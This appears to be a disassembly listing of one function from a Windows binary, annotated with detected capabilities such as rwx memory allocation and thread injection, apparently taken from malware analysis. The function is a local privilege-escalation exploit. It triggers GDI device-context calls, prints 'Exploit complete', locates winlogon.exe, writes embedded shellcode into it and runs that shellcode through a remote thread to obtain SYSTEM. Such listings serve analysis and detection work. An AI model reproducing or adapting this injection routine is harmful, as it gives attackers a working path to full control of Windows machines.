Function at 0x140001960
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x3b8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x3a0], rax
call fcn.140001530
mov rdx, qword [0x140005990]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateDCW]
mov qword [0x140005988], rax
test rax, rax
jne 0x1400019b0
lea rcx, str.____Failed_to_create_device_context
call fcn.140001010
jmp 0x140001bff
mov qword [rsp + 0x3c0], rbx
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x3b0], rdi
mov dword [0x140005984], 1
call qword [sym.imp.GDI32.dll_ResetDCW]
lea rcx, str.___Exploit_complete_and_all_privileges_n
call fcn.140001010
lea rdx, [rsp + 0x280]
mov r8d, 2
lea rax, [0x1400037b0]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x140001a00
movups xmm0, xmmword [rax]
mov eax, dword [rax + 0x10]
mov qword [rsp + 0x3c8], rsi
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], eax
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001b0b
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001b0b
lea rsi, str.winlogon.exe
nop
lea rdx, [rsp + 0x6c]
mov rax, rdi
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140001ae0
add rax, 2
cmp rax, 0xd
je 0x140001b07
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x140001ac0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001ab0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Could_not_find_winlogon.exe
jmp 0x140001bd5
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jns 0x140001b24
lea rcx, str.____Could_not_find_winlogon.exe
jmp 0x140001bd5
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001b48
lea rcx, str.____Failed_to_open_process
jmp 0x140001bd5
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x114
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140001b7b
lea rcx, str.____Failed_to_allocate_remote_memory
call fcn.140001010
xor esi, esi
lea r8, [rsp + 0x280]
mov r9d, 0x114
mov qword [rsp + 0x20], rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001ba9
lea rcx, str.____Failed_to_write_to_remote_memory
jmp 0x140001bd5
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
jne 0x140001bdb
lea rcx, str.____Failed_to_create_remote_thread
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
lea rcx, str.___Get_system_successfully_n
call fcn.140001010
mov rdi, qword [rsp + 0x3b0]
mov rsi, qword [rsp + 0x3c8]
mov rbx, qword [rsp + 0x3c0]
xor eax, eax
mov rcx, qword [rsp + 0x3a0]
xor rcx, rsp
call fcn.140001c30
add rsp, 0x3b8
ret